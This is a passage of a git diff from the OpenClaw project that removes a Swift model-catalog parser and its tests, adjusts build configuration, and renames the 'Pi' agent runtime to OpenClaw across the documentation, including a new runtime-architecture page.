cache } - if let bundlePath = self.bundleCatalogPath() { return bundlePath } - if let nodePath = self.nodeModulesCatalogPath() { return nodePath } - return cache - } - - private static func resolvePath(preferred: String) -> (path: String, shouldCache: Bool)? { - if FileManager().isReadableFile(atPath: preferred) { - return (preferred, preferred != self.cachePath.path) - } - - if let bundlePath = self.bundleCatalogPath(), bundlePath != preferred { - self.logger.warning("model catalog path missing; falling back to bundled catalog") - return (bundlePath, true) - } - - let cache = self.cachePath.path - if cache != preferred, FileManager().isReadableFile(atPath: cache) { - self.logger.warning("model catalog path missing; falling back to cached catalog") - return (cache, false) - } - - if let nodePath = self.nodeModulesCatalogPath(), nodePath != preferred { - self.logger.warning("model catalog path missing; falling back to node_modules catalog") - return (nodePath, true) - } - - return nil - } - - private static func bundleCatalogPath() -> String? { - guard let url = Bundle.main.url(forResource: "models.generated", withExtension: "js") else { - return nil - } - return url.path - } - - private static func nodeModulesCatalogPath() -> String? { - let roots = [ - URL(fileURLWithPath: CommandResolver.projectRootPath()), - URL(fileURLWithPath: FileManager().currentDirectoryPath), - ] - for root in roots { - let candidate = root - .appendingPathComponent("node_modules/@earendil-works/pi-ai/dist/models.generated.js") - if FileManager().isReadableFile(atPath: candidate.path) { - return candidate.path - } - } - return nil - } - - private static func cacheCatalog(sourcePath: String) { - let destination = self.cachePath - do { - try FileManager().createDirectory( - at: destination.deletingLastPathComponent(), - withIntermediateDirectories: true) - if FileManager().fileExists(atPath: destination.path) { - try FileManager().removeItem(at: destination) - } - try FileManager().copyItem(atPath: sourcePath, toPath: destination.path) - self.logger.debug("model catalog cached file=\(destination.lastPathComponent)") - } catch { - self.logger.warning("model catalog cache failed: \(error.localizedDescription)") - } - } - - private static func readCatalogSource(path: String) throws -> String { - let attrs = try FileManager().attributesOfItem(atPath: path) - if let size = attrs[.size] as? NSNumber, - size.uint64Value > self.maxCatalogBytes - { - throw NSError( - domain: "ModelCatalogLoader", - code: 2, - userInfo: [NSLocalizedDescriptionKey: "Model catalog file is too large"]) - } - return try String(contentsOfFile: path, encoding: .utf8) - } - - private static func parseModels(source: String) throws -> [String: Any] { - guard let assignmentEnd = self.findModelsAssignmentEnd(in: source) else { - throw ModelCatalogParseError.missingModelsExport - } - var parser = ModelCatalogObjectParser(source: String(source[assignmentEnd...])) - return try parser.parseObject() - } - - private static func findModelsAssignmentEnd(in source: String) -> String.Index? { - var index = source.startIndex - while index < source.endIndex { - if self.consumeIf("//", in: source, at: &index) { - self.skipLineComment(in: source, from: &index) - continue - } - if self.consumeIf("/*", in: source, at: &index) { - self.skipBlockComment(in: source, from: &index) - continue - } - if source[index] == "\"" || source[index] == "'" || source[index] == "`" { - self.skipString(in: source, quote: source[index], from: &index) - continue - } - - var cursor = index - if self.consumeKeyword("export", in: source, at: &cursor) { - self.skipWhitespaceAndComments(in: source, from: &cursor) - if self.consumeKeyword("const", in: source, at: &cursor) { - self.skipWhitespaceAndComments(in: source, from: &cursor) - if self.consumeKeyword("MODELS", in: source, at: &cursor) { - self.skipWhitespaceAndComments(in: source, from: &cursor) - if self.consumeIf("=", in: source, at: &cursor) { - return cursor - } - } - } - } - - index = source.index(after: index) - } - return nil - } - - private static func skipWhitespaceAndComments(in source: String, from index: inout String.Index) { - while index < source.endIndex { - if source[index].isWhitespace { - index = source.index(after: index) - continue - } - if self.consumeIf("//", in: source, at: &index) { - self.skipLineComment(in: source, from: &index) - continue - } - if self.consumeIf("/*", in: source, at: &index) { - self.skipBlockComment(in: source, from: &index) - continue - } - return - } - } - - private static func skipLineComment(in source: String, from index: inout String.Index) { - while index < source.endIndex, source[index] != "\n" { - index = source.index(after: index) - } - } - - private static func skipBlockComment(in source: String, from index: inout String.Index) { - while index < source.endIndex, !self.consumeIf("*/", in: source, at: &index) { - index = source.index(after: index) - } - } - - private static func skipString(in source: String, quote: Character, from index: inout String.Index) { - index = source.index(after: index) - while index < source.endIndex { - let char = source[index] - index = source.index(after: index) - if char == "\\" { - if index < source.endIndex { - index = source.index(after: index) - } - continue - } - if char == quote { - return - } - } - } - - private static func consumeKeyword(_ keyword: String, in source: String, at index: inout String.Index) -> Bool { - guard source[index...].hasPrefix(keyword) else { - return false - } - let end = source.index(index, offsetBy: keyword.count) - if index > source.startIndex { - let previous = source[source.index(before: index)] - if self.isIdentifierCharacter(previous) { - return false - } - } - if end < source.endIndex, self.isIdentifierCharacter(source[end]) { - return false - } - index = end - return true - } - - private static func consumeIf(_ token: String, in source: String, at index: inout String.Index) -> Bool { - guard source[index...].hasPrefix(token) else { - return false - } - index = source.index(index, offsetBy: token.count) - return true - } - - private static func isIdentifierCharacter(_ char: Character) -> Bool { - char.isLetter || char.isNumber || char == "_" || char == "$" - } -} - -private enum ModelCatalogParseError: Error { - case expectedObject - case expectedKey - case expectedColon - case expectedValue - case maxDepthExceeded - case missingModelsExport - case unterminatedString - case invalidNumber - case unexpectedToken -} - -private struct ModelCatalogObjectParser { - private let maxDepth: Int - private let source: String - private var index: String.Index - - init(source: String, maxDepth: Int = 80) { - self.maxDepth = maxDepth - self.source = source - self.index = source.startIndex - } - - mutating func parseObject(depth: Int = 0) throws -> [String: Any] { - guard depth <= self.maxDepth else { - throw ModelCatalogParseError.maxDepthExceeded - } - try self.consume("{", or: .expectedObject) - var result: [String: Any] = [:] - - while true { - self.skipWhitespaceAndComments() - if self.consumeIf("}") { - return result - } - - let key = try self.parseKey() - self.skipWhitespaceAndComments() - try self.consume(":", or: .expectedColon) - let value = try self.parseValue(depth: depth) - self.skipTypeAssertion() - result[key] = value - - self.skipWhitespaceAndComments() - if self.consumeIf(",") { - continue - } - if self.consumeIf("}") { - return result - } - throw ModelCatalogParseError.unexpectedToken - } - } - - private mutating func parseArray(depth: Int) throws -> [Any] { - guard depth <= self.maxDepth else { - throw ModelCatalogParseError.maxDepthExceeded - } - try self.consume("[", or: .expectedValue) - var result: [Any] = [] - - while true { - self.skipWhitespaceAndComments() - if self.consumeIf("]") { - return result - } - - try result.append(self.parseValue(depth: depth)) - self.skipTypeAssertion() - self.skipWhitespaceAndComments() - if self.consumeIf(",") { - continue - } - if self.consumeIf("]") { - return result - } - throw ModelCatalogParseError.unexpectedToken - } - } - - private mutating func parseValue(depth: Int) throws -> Any { - self.skipWhitespaceAndComments() - guard let char = self.current else { - throw ModelCatalogParseError.expectedValue - } - - switch char { - case "{": - return try self.parseObject(depth: depth + 1) - case "[": - return try self.parseArray(depth: depth + 1) - case "\"", "'": - return try self.parseString() - case "-", "0"..."9": - return try self.parseNumber() - default: - let identifier = try self.parseIdentifier() - switch identifier { - case "true": - return true - case "false": - return false - case "null", "undefined": - return NSNull() - default: - throw ModelCatalogParseError.unexpectedToken - } - } - } - - private mutating func parseKey() throws -> String { - self.skipWhitespaceAndComments() - guard let char = self.current else { - throw ModelCatalogParseError.expectedKey - } - if char == "\"" || char == "'" { - return try self.parseString() - } - return try self.parseIdentifier() - } - - private mutating func parseIdentifier() throws -> String { - self.skipWhitespaceAndComments() - let start = self.index - while let char = self.current, self.isIdentifierCharacter(char) { - self.advance() - } - guard start != self.index else { - throw ModelCatalogParseError.expectedKey - } - return String(self.source[start.. String { - guard let quote = self.current, quote == "\"" || quote == "'" else { - throw ModelCatalogParseError.expectedValue - } - self.advance() - - var result = "" - while let char = self.current { - self.advance() - if char == quote { - return result - } - if char == "\\" { - try result.append(self.parseEscapedCharacter()) - } else { - result.append(char) - } - } - throw ModelCatalogParseError.unterminatedString - } - - private mutating func parseEscapedCharacter() throws -> Character { - guard let char = self.current else { - throw ModelCatalogParseError.unterminatedString - } - self.advance() - - switch char { - case "\"", "'", "\\", "/": - return char - case "b": - return "\u{08}" - case "f": - return "\u{0c}" - case "n": - return "\n" - case "r": - return "\r" - case "t": - return "\t" - case "u": - return try self.parseUnicodeEscape() - default: - return char - } - } - - private mutating func parseUnicodeEscape() throws -> Character { - var hex = "" - for _ in 0..<4 { - guard let char = self.current else { - throw ModelCatalogParseError.unterminatedString - } - hex.append(char) - self.advance() - } - guard let value = UInt32(hex, radix: 16), - let scalar = UnicodeScalar(value) - else { - throw ModelCatalogParseError.unterminatedString - } - return Character(scalar) - } - - private mutating func parseNumber() throws -> Any { - let start = self.index - if self.current == "-" { - self.advance() - } - while let char = self.current, ("0"..."9").contains(char) { - self.advance() - } - var isFloatingPoint = false - if self.current == "." { - isFloatingPoint = true - self.advance() - while let char = self.current, ("0"..."9").contains(char) { - self.advance() - } - } - if self.current == "e" || self.current == "E" { - isFloatingPoint = true - self.advance() - if self.current == "-" || self.current == "+" { - self.advance() - } - while let char = self.current, ("0"..."9").contains(char) { - self.advance() - } - } - - let raw = String(self.source[start..", angleDepth > 0 { - angleDepth -= 1 - self.advance() - continue - } - if angleDepth == 0, char == "," || char == "}" || char == "]" { - return - } - self.advance() - } - } - - private mutating func skipWhitespaceAndComments() { - while true { - while let char = self.current, char.isWhitespace { - self.advance() - } - if self.consumeIf("//") { - while let char = self.current, char != "\n" { - self.advance() - } - continue - } - if self.consumeIf("/*") { - while self.index < self.source.endIndex, !self.consumeIf("*/") { - self.advance() - } - continue - } - return - } - } - - private mutating func consume(_ token: String, or error: ModelCatalogParseError) throws { - self.skipWhitespaceAndComments() - guard self.consumeIf(token) else { - throw error - } - } - - private mutating func consumeIf(_ token: String) -> Bool { - guard self.source[self.index...].hasPrefix(token) else { - return false - } - self.index = self.source.index(self.index, offsetBy: token.count) - return true - } - - private mutating func consumeKeyword(_ keyword: String) -> Bool { - guard self.source[self.index...].hasPrefix(keyword) else { - return false - } - let end = self.source.index(self.index, offsetBy: keyword.count) - if end < self.source.endIndex, self.isIdentifierCharacter(self.source[end]) { - return false - } - self.index = end - return true - } - - private var current: Character? { - guard self.index < self.source.endIndex else { - return nil - } - return self.source[self.index] - } - - private mutating func advance() { - self.index = self.source.index(after: self.index) - } - - private func isIdentifierCharacter(_ char: Character) -> Bool { - char.isLetter || char.isNumber || char == "_" || char == "$" - } -} diff --git a/apps/macos/Tests/OpenClawIPCTests/ModelCatalogLoaderTests.swift b/apps/macos/Tests/OpenClawIPCTests/ModelCatalogLoaderTests.swift deleted file mode 100644 index b0e263f13f8..00000000000 --- a/apps/macos/Tests/OpenClawIPCTests/ModelCatalogLoaderTests.swift +++ /dev/null @@ -1,102 +0,0 @@ -import Foundation -import Testing -@testable import OpenClaw - -struct ModelCatalogLoaderTests { - @Test - func `load parses models from type script and sorts`() async throws { - let src = """ - export const MODELS = { - openai: { - "gpt-4o-mini": { name: "GPT-4o mini", contextWindow: 128000 } satisfies any, - "gpt-4o": { name: "GPT-4o", contextWindow: 128000 } as any, - "gpt-3.5": { contextWindow: 16000 }, - }, - anthropic: { - "claude-3": { name: "Claude 3", contextWindow: 200000 }, - }, - }; - """ - - let tmp = FileManager().temporaryDirectory - .appendingPathComponent("models-\(UUID().uuidString).ts") - defer { try? FileManager().removeItem(at: tmp) } - try src.write(to: tmp, atomically: true, encoding: .utf8) - - let choices = try await ModelCatalogLoader.load(from: tmp.path) - #expect(choices.count == 4) - #expect(choices.first?.provider == "anthropic") - #expect(choices.first?.id == "claude-3") - - let ids = Set(choices.map(\.id)) - #expect(ids == Set(["claude-3", "gpt-4o", "gpt-4o-mini", "gpt-3.5"])) - - let openai = choices.filter { $0.provider == "openai" } - let openaiNames = openai.map(\.name) - #expect(openaiNames == openaiNames.sorted { a, b in - a.localizedCaseInsensitiveCompare(b) == .orderedAscending - }) - } - - @Test - func `load with no export rejects catalog`() async throws { - let src = "const NOPE = 1;" - let tmp = FileManager().temporaryDirectory - .appendingPathComponent("models-\(UUID().uuidString).ts") - defer { try? FileManager().removeItem(at: tmp) } - try src.write(to: tmp, atomically: true, encoding: .utf8) - - do { - _ = try await ModelCatalogLoader.load(from: tmp.path) - Issue.record("expected missing MODELS export rejection") - } catch { - #expect(String(describing: error).isEmpty == false) - } - } - - @Test - func `load ignores fake exports in comments and strings`() async throws { - let src = #""" - // export const MODELS = { bad: { "bad": { name: "Bad", contextWindow: 1 } } }; - const text = "export const MODELS = { alsoBad: {} }"; - export const MODELS = { - openai: { - "gpt-4o": { name: "GPT-4o", contextWindow: 128000 } satisfies ModelConfig, - }, - }; - """# - - let tmp = FileManager().temporaryDirectory - .appendingPathComponent("models-\(UUID().uuidString).ts") - defer { try? FileManager().removeItem(at: tmp) } - try src.write(to: tmp, atomically: true, encoding: .utf8) - - let choices = try await ModelCatalogLoader.load(from: tmp.path) - #expect(choices.count == 1) - #expect(choices.first?.id == "gpt-4o") - #expect(choices.first?.provider == "openai") - } - - @Test - func `load rejects executable catalog expressions`() async throws { - let src = """ - export const MODELS = { - openai: { - "gpt-4o": { name: (() => { throw new Error("nope") })(), contextWindow: 128000 }, - }, - }; - """ - - let tmp = FileManager().temporaryDirectory - .appendingPathComponent("models-\(UUID().uuidString).ts") - defer { try? FileManager().removeItem(at: tmp) } - try src.write(to: tmp, atomically: true, encoding: .utf8) - - do { - _ = try await ModelCatalogLoader.load(from: tmp.path) - Issue.record("expected executable catalog expression rejection") - } catch { - #expect(String(describing: error).isEmpty == false) - } - } -} diff --git a/config/knip.config.ts b/config/knip.config.ts index 0cf9c7634c4..5e6ae3af3f8 100644 --- a/config/knip.config.ts +++ b/config/knip.config.ts @@ -55,10 +55,6 @@ const bundledPluginIgnoredRuntimeDependencies = [ const rootBundledPluginRuntimeDependencies = [ "@anthropic-ai/sdk", "@anthropic-ai/vertex-sdk", - "@aws-sdk/client-bedrock", - "@aws-sdk/client-bedrock-runtime", - "@aws-sdk/credential-provider-node", - "@aws/bedrock-token-generator", "@google/genai", "@grammyjs/runner", "@grammyjs/transformer-throttler", @@ -129,7 +125,7 @@ const config = { "test/helpers/live-image-probe.ts", "src/secrets/credential-matrix.ts", "src/agents/claude-cli-runner.ts", - "src/agents/pi-auth-json.ts", + "src/agents/agent-auth-json.ts", "src/agents/tool-policy.conformance.ts", "src/auto-reply/reply/audio-tags.ts", "src/gateway/live-tool-probe-utils.ts", @@ -172,6 +168,10 @@ const config = { entry: ["src/index.ts!"], project: ["src/**/*.ts!"], }, + "packages/agent-core": { + entry: ["src/index.ts!", "src/*.ts!", "src/harness/**/*.ts!"], + project: ["src/**/*.ts!"], + }, "packages/*": { entry: ["index.js!", "scripts/postinstall.js!"], project: ["index.js!", "scripts/**/*.js!"], diff --git a/docs/.generated/plugin-sdk-api-baseline.sha256 b/docs/.generated/plugin-sdk-api-baseline.sha256 index 649490d41bd..b507725c2b8 100644 --- a/docs/.generated/plugin-sdk-api-baseline.sha256 +++ b/docs/.generated/plugin-sdk-api-baseline.sha256 @@ -1,2 +1,2 @@ -ce09dfd1c6f67d49916da2557fb208744b7d8a4912bde944004f44c0998c8e9d plugin-sdk-api-baseline.json -371bdfb13fda61dda885827ffeb922bd46e97ca30e09fa0d09baab80c58a7d1e plugin-sdk-api-baseline.jsonl +f83d097e726867b49d4e9973ae0c3b26fe78deee2e626bee3e2d427ad3340ab2 plugin-sdk-api-baseline.json +e439dbeee85934ac21ece1d3006f7c6b46236deaafc6458e9a2d3622f283940f plugin-sdk-api-baseline.jsonl diff --git a/docs/.i18n/glossary.zh-CN.json b/docs/.i18n/glossary.zh-CN.json index 2427d48a664..160bf934d0e 100644 --- a/docs/.i18n/glossary.zh-CN.json +++ b/docs/.i18n/glossary.zh-CN.json @@ -1051,6 +1051,30 @@ "source": "Plugin architecture", "target": "插件架构" }, + { + "source": "Agent runtime architecture", + "target": "Agent runtime architecture" + }, + { + "source": "OpenClaw agent runtime workflow", + "target": "OpenClaw agent runtime workflow" + }, + { + "source": "OpenClaw agent runtime architecture", + "target": "OpenClaw agent runtime architecture" + }, + { + "source": "Install and Configure Plugins", + "target": "安装和配置插件" + }, + { + "source": "Building Plugins", + "target": "Building Plugins" + }, + { + "source": "Plugin Manifest", + "target": "Plugin Manifest" + }, { "source": "Z.AI (GLM)", "target": "Z.AI (GLM)" diff --git a/docs/agent-runtime-architecture.md b/docs/agent-runtime-architecture.md new file mode 100644 index 00000000000..b3ff05c7cfe --- /dev/null +++ b/docs/agent-runtime-architecture.md @@ -0,0 +1,48 @@ +--- +title: "Agent runtime architecture" +summary: "How OpenClaw runs the built-in agent runtime, providers, sessions, tools, and extensions." +--- + +OpenClaw owns the built-in agent runtime directly. The runtime code lives under `src/agents/`, model/provider helpers live under `src/llm/`, and plugin-facing contracts are exposed through `openclaw/plugin-sdk/*` barrels. + +## Runtime Layout + +- `src/agents/embedded-agent-runner/`: built-in agent attempt loop, provider stream adapters, compaction, model selection, and session wiring. +- `src/agents/sessions/`: session persistence, extension loading, resource discovery, skills, prompts, themes, and TUI-backed tool renderers. +- `packages/agent-core/`: reusable agent core, lower-level harness types, messages, compaction helpers, prompt templates, and tool/session contracts. +- `src/agents/runtime/`: OpenClaw facade for `@openclaw/agent-core` plus local proxy utilities. +- `src/agents/agent-tools*.ts`: OpenClaw-owned tool definitions, schemas, policy, before/after hook adapters, and host edit support. +- `src/agents/agent-hooks/`: built-in runtime hooks such as compaction safeguards and context pruning. +- `src/llm/`: model/provider registry, transport helpers, and provider-specific stream implementations. + +## Boundaries + +Core code calls the built-in runtime through OpenClaw modules and SDK barrels, not through old external agent packages. Plugins use documented `openclaw/plugin-sdk/*` entrypoints and do not import `src/**` internals. + +`@earendil-works/pi-tui` remains a third-party TUI dependency. It is used as a terminal component toolkit by the local TUI and session renderers; internalizing it would be a separate vendoring effort. + +## Manifests + +Resource packages declare OpenClaw resources in package metadata: + +```json +{ + "openclaw": { + "extensions": ["extensions/index.ts"], + "skills": ["skills/*.md"], + "prompts": ["prompts/*.md"], + "themes": ["themes/*.json"] + } +} +``` + +The package manager also discovers conventional `extensions/`, `skills/`, `prompts/`, and `themes/` directories. + +## Runtime Selection + +The default built-in runtime id is `openclaw`. Plugin harnesses can register additional runtime ids. `auto` selects a supporting plugin harness when one exists and otherwise uses the built-in OpenClaw runtime. + +## Related + +- [OpenClaw agent runtime workflow](/openclaw-agent-runtime) +- [Agent runtimes](/concepts/agent-runtimes) diff --git a/docs/auth-credential-semantics.md b/docs/auth-credential-semantics.md index 2b4b22511e4..a072e63e753 100644 --- a/docs/auth-credential-semantics.md +++ b/docs/auth-credential-semantics.md @@ -66,7 +66,7 @@ the target agent signs in separately and creates its own local profile. `auth.profiles` entries with `mode: "aws-sdk"` are routing metadata, not stored credentials. They are valid when the target provider uses -`models.providers..auth: "aws-sdk"` or the built-in Amazon Bedrock default +`models.providers..auth: "aws-sdk"` or plugin-owned Amazon Bedrock setup AWS SDK route. These profile ids may appear in `auth.order` and session overrides even when no matching entry exists in `auth-profiles.json`. diff --git a/docs/channels/group-messages.md b/docs/channels/group-messages.md index e76017885ba..ac8642d77e1 100644 --- a/docs/channels/group-messages.md +++ b/docs/channels/group-messages.md @@ -22,7 +22,7 @@ Goal: let OpenClaw sit in WhatsApp groups, wake up only when pinged, and keep th - Group policy: `channels.whatsapp.groupPolicy` controls whether group messages are accepted (`open|disabled|allowlist`). `allowlist` uses `channels.whatsapp.groupAllowFrom` (fallback: explicit `channels.whatsapp.allowFrom`). Default is `allowlist` (blocked until you add senders). - Per-group sessions: session keys look like `agent::whatsapp:group:` so commands such as `/verbose on`, `/trace on`, or `/think high` (sent as standalone messages) are scoped to that group; personal DM state is untouched. Heartbeats are skipped for group threads. - Context injection: **pending-only** group messages (default 50) that _did not_ trigger a run are prefixed under `[Chat messages since your last reply - for context]`, with the triggering line under `[Current message - respond to this]`. Messages already in the session are not re-injected. -- Sender surfacing: every group batch now ends with `[from: Sender Name (+E164)]` so Pi knows who is speaking. +- Sender surfacing: every group batch now ends with `[from: Sender Name (+E164)]` so OpenClaw knows who is speaking. - Ephemeral/view-once: we unwrap those before extracting text/mentions, so pings inside them still trigger. - Group system prompt: on the first turn of a group session (and whenever `/activation` changes the mode) we inject a short blurb into the system prompt like `You are replying inside the WhatsApp group "". Group members: Alice (+44...), Bob (+43...), ... Activation: trigger-only ... Address the specific sender noted in the message context.` If metadata isn't available we still tell the agent it's a group chat. diff --git a/docs/cli/mcp.md b/docs/cli/mcp.md index c87c9a24809..e29c82c1dbf 100644 --- a/docs/cli/mcp.md +++ b/docs/cli/mcp.md @@ -352,7 +352,7 @@ This is the `openclaw mcp list`, `show`, `set`, and `unset` path. These commands do not expose OpenClaw over MCP. They manage OpenClaw-owned MCP server definitions under `mcp.servers` in OpenClaw config. -Those saved definitions are for runtimes that OpenClaw launches or configures later, such as embedded Pi and other runtime adapters. OpenClaw stores the definitions centrally so those runtimes do not need to keep their own duplicate MCP server lists. +Those saved definitions are for runtimes that OpenClaw launches or configures later, such as embedded OpenClaw and other runtime adapters. OpenClaw stores the definitions centrally so those runtimes do not need to keep their own duplicate MCP server lists. @@ -360,13 +360,13 @@ Those saved definitions are for runtimes that OpenClaw launches or configures la - they do not connect to the target MCP server - they do not validate whether the command, URL, or remote transport is reachable right now - runtime adapters decide which transport shapes they actually support at execution time - - embedded Pi exposes configured MCP tools in normal `coding` and `messaging` tool profiles; `minimal` still hides them, and `tools.deny: ["bundle-mcp"]` disables them explicitly + - embedded OpenClaw exposes configured MCP tools in normal `coding` and `messaging` tool profiles; `minimal` still hides them, and `tools.deny: ["bundle-mcp"]` disables them explicitly - session-scoped bundled MCP runtimes are reaped after `mcp.sessionIdleTtlMs` milliseconds of idle time (default 10 minutes; set `0` to disable) and one-shot embedded runs clean them up at run end -Runtime adapters may normalize this shared registry into the shape their downstream client expects. For example, embedded Pi consumes OpenClaw `transport` values directly, while Claude Code and Gemini receive CLI-native `type` values such as `http`, `sse`, or `stdio`. +Runtime adapters may normalize this shared registry into the shape their downstream client expects. For example, embedded OpenClaw consumes OpenClaw `transport` values directly, while Claude Code and Gemini receive CLI-native `type` values such as `http`, `sse`, or `stdio`. Codex app-server also honors an optional `codex` block on each server. This is OpenClaw projection metadata for Codex app-server threads only; it does not @@ -486,7 +486,7 @@ Sensitive values in `url` (userinfo) and `headers` are redacted in logs and stat | `headers` | Optional key-value map of HTTP headers (for example auth tokens) | | `connectionTimeoutMs` | Per-server connection timeout in ms (optional) | -OpenClaw config uses `transport: "streamable-http"` as the canonical spelling. CLI-native MCP `type: "http"` values are accepted when saved through `openclaw mcp set` and repaired by `openclaw doctor --fix` in existing config, but `transport` is what embedded Pi consumes directly. +OpenClaw config uses `transport: "streamable-http"` as the canonical spelling. CLI-native MCP `type: "http"` values are accepted when saved through `openclaw mcp set` and repaired by `openclaw doctor --fix` in existing config, but `transport` is what embedded OpenClaw consumes directly. Example: diff --git a/docs/cli/migrate.md b/docs/cli/migrate.md index 4412e85d6c1..1b2fd8668bd 100644 --- a/docs/cli/migrate.md +++ b/docs/cli/migrate.md @@ -186,7 +186,7 @@ openclaw migrate apply codex --yes --plugin google-calendar Apply calls app-server `plugin/install` for each selected eligible plugin, even if the target app-server already reports that plugin as installed and enabled. Migrated Codex plugins are usable only in sessions that select the - native Codex harness; they are not exposed to Pi, normal OpenAI provider runs, + native Codex harness; they are not exposed to OpenClaw provider runs, ACP conversation bindings, or other harnesses. ### Manual-review Codex state diff --git a/docs/cli/models.md b/docs/cli/models.md index bbc4463c3f5..c3ef7863094 100644 --- a/docs/cli/models.md +++ b/docs/cli/models.md @@ -37,7 +37,7 @@ overview, while `auth.oauth` is auth-store profile health only. Add `--probe` to run live auth probes against each configured provider profile. Probes are real requests (may consume tokens and trigger rate limits). Use `--agent ` to inspect a configured agent's model/auth state. When omitted, -the command uses `OPENCLAW_AGENT_DIR`/`PI_CODING_AGENT_DIR` if set, otherwise the +the command uses `OPENCLAW_AGENT_DIR` if set, otherwise the configured default agent. Probe rows can come from auth profiles, env credentials, or `models.json`. For Codex OAuth troubleshooting, `openclaw models status`, @@ -129,7 +129,7 @@ Options: - `--probe-timeout ` - `--probe-concurrency ` - `--probe-max-tokens ` -- `--agent ` (configured agent id; overrides `OPENCLAW_AGENT_DIR`/`PI_CODING_AGENT_DIR`) +- `--agent ` (configured agent id; overrides `OPENCLAW_AGENT_DIR`) `--json` keeps stdout reserved for the JSON payload. Auth-profile, provider, and startup diagnostics are routed to stderr so scripts can pipe stdout directly diff --git a/docs/cli/status.md b/docs/cli/status.md index db743436f34..3524e4ad2f0 100644 --- a/docs/cli/status.md +++ b/docs/cli/status.md @@ -21,7 +21,7 @@ Notes: - Plain `openclaw status` stays on the fast read-only path and marks memory as `not checked` instead of unavailable when it skips memory inspection. Heavy security audit, plugin compatibility, and memory-vector probes are left to `openclaw status --all`, `openclaw status --deep`, `openclaw security audit`, and `openclaw memory status --deep`. - `status --json --all` reports memory details from the active memory plugin runtime selected by `plugins.slots.memory`. Custom memory plugins can leave built-in `agents.defaults.memorySearch.enabled` disabled and still report their own files, chunks, vector, and FTS state. - `--usage` prints normalized provider usage windows as `X% left`. -- Session status output separates `Execution:` from `Runtime:`. `Execution` is the sandbox path (`direct`, `docker/*`), while `Runtime` tells you whether the session is using `OpenClaw Pi Default`, `OpenAI Codex`, a CLI backend, or an ACP backend such as `codex (acp/acpx)`. See [Agent runtimes](/concepts/agent-runtimes) for the provider/model/runtime distinction. +- Session status output separates `Execution:` from `Runtime:`. `Execution` is the sandbox path (`direct`, `docker/*`), while `Runtime` tells you whether the session is using `OpenClaw Default`, `OpenAI Codex`, a CLI backend, or an ACP backend such as `codex (acp/acpx)`. See [Agent runtimes](/concepts/agent-runtimes) for the provider/model/runtime distinction. - MiniMax's raw `usage_percent` / `usagePercent` fields are remaining quota, so OpenClaw inverts them before display; count-based fields win when present. `model_remains` responses prefer the chat-model entry, derive the window label from timestamps when needed, and include the model name in the plan label. - When the current session snapshot is sparse, `/status` can backfill token and cache counters from the most recent transcript usage log. Existing nonzero live values still win over transcript fallback values. - `/status` includes compact Gateway process uptime and host system uptime. diff --git a/docs/concepts/agent-loop.md b/docs/concepts/agent-loop.md index 88878b35565..8bc0ed38ec8 100644 --- a/docs/concepts/agent-loop.md +++ b/docs/concepts/agent-loop.md @@ -25,16 +25,16 @@ wired end-to-end. 2. `agentCommand` runs the agent: - resolves model + thinking/verbose/trace defaults - loads skills snapshot - - calls `runEmbeddedPiAgent` (pi-agent-core runtime) + - calls `runEmbeddedAgent` (OpenClaw agent runtime) - emits **lifecycle end/error** if the embedded loop does not emit one -3. `runEmbeddedPiAgent`: +3. `runEmbeddedAgent`: - serializes runs via per-session + global queues - - resolves model + auth profile and builds the pi session - - subscribes to pi events and streams assistant/tool deltas + - resolves model + auth profile and builds the OpenClaw session + - subscribes to runtime events and streams assistant/tool deltas - enforces timeout -> aborts run if exceeded - for Codex app-server turns, aborts an accepted turn that stops producing app-server progress before a terminal event - returns payloads + usage metadata -4. `subscribeEmbeddedPiSession` bridges pi-agent-core events to OpenClaw `agent` stream: +4. `subscribeEmbeddedAgentSession` bridges agent runtime events to OpenClaw `agent` stream: - tool events => `stream: "tool"` - assistant deltas => `stream: "assistant"` - lifecycle events => `stream: "lifecycle"` (`phase: "start" | "end" | "error"`) @@ -120,7 +120,7 @@ surfaces, while Codex native hooks remain a separate lower-level Codex mechanism ## Streaming + partial replies -- Assistant deltas are streamed from pi-agent-core and emitted as `assistant` events. +- Assistant deltas are streamed from the agent runtime and emitted as `assistant` events. - Block streaming can emit partial replies either on `text_end` or `message_end`. - Reasoning streaming can be emitted as a separate stream or as block replies. - See [Streaming](/concepts/streaming) for chunking and block reply behavior. @@ -151,9 +151,9 @@ surfaces, while Codex native hooks remain a separate lower-level Codex mechanism ## Event streams (today) -- `lifecycle`: emitted by `subscribeEmbeddedPiSession` (and as a fallback by `agentCommand`) -- `assistant`: streamed deltas from pi-agent-core -- `tool`: streamed tool events from pi-agent-core +- `lifecycle`: emitted by `subscribeEmbeddedAgentSession` (and as a fallback by `agentCommand`) +- `assistant`: streamed deltas from the agent runtime +- `tool`: streamed tool events from the agent runtime ## Chat channel handling @@ -163,7 +163,7 @@ surfaces, while Codex native hooks remain a separate lower-level Codex mechanism ## Timeouts - `agent.wait` default: 30s (just the wait). `timeoutMs` param overrides. -- Agent runtime: `agents.defaults.timeoutSeconds` default 172800s (48 hours); enforced in `runEmbeddedPiAgent` abort timer. +- Agent runtime: `agents.defaults.timeoutSeconds` default 172800s (48 hours); enforced in `runEmbeddedAgent` abort timer. - Cron runtime: isolated agent-turn `timeoutSeconds` is owned by cron. The scheduler starts that timer when execution begins, aborts the underlying run at the configured deadline, then runs bounded cleanup before recording the timeout so a stale child session cannot keep the lane stuck. - Session liveness diagnostics: with diagnostics enabled, `diagnostics.stuckSessionWarnMs` classifies long `processing` sessions that have no observed reply, tool, status, block, or ACP progress. Active embedded runs, model calls, and tool calls report as `session.long_running`; active work with no recent progress reports as `session.stalled`; `session.stuck` is reserved for recoverable stale session bookkeeping, including idle queued sessions with stale ownerless model/tool activity. Stale session bookkeeping releases the affected session lane immediately after recovery gates pass; stalled embedded runs are abort-drained only after `diagnostics.stuckSessionAbortMs` (default: at least 5 minutes and 3x the warning threshold) so queued work can resume without cutting off merely slow runs. Recovery emits structured requested/completed outcomes, and diagnostic state is marked idle only if the same processing generation is still current. Repeated `session.stuck` diagnostics back off while the session remains unchanged. - Model idle timeout: OpenClaw aborts a model request when no response chunks arrive before the idle window. `models.providers..timeoutSeconds` extends this idle watchdog for slow local/self-hosted providers, but it is still bounded by any lower `agents.defaults.timeoutSeconds` or run-specific timeout because those control the whole agent run. Otherwise OpenClaw uses `agents.defaults.timeoutSeconds` when configured, capped at 120s by default. Cron-triggered runs with no explicit model or agent timeout disable the idle watchdog and rely on the cron outer timeout. diff --git a/docs/concepts/agent-runtimes.md b/docs/concepts/agent-runtimes.md index bd12cafac93..a80ac65772a 100644 --- a/docs/concepts/agent-runtimes.md +++ b/docs/concepts/agent-runtimes.md @@ -2,7 +2,7 @@ summary: "How OpenClaw 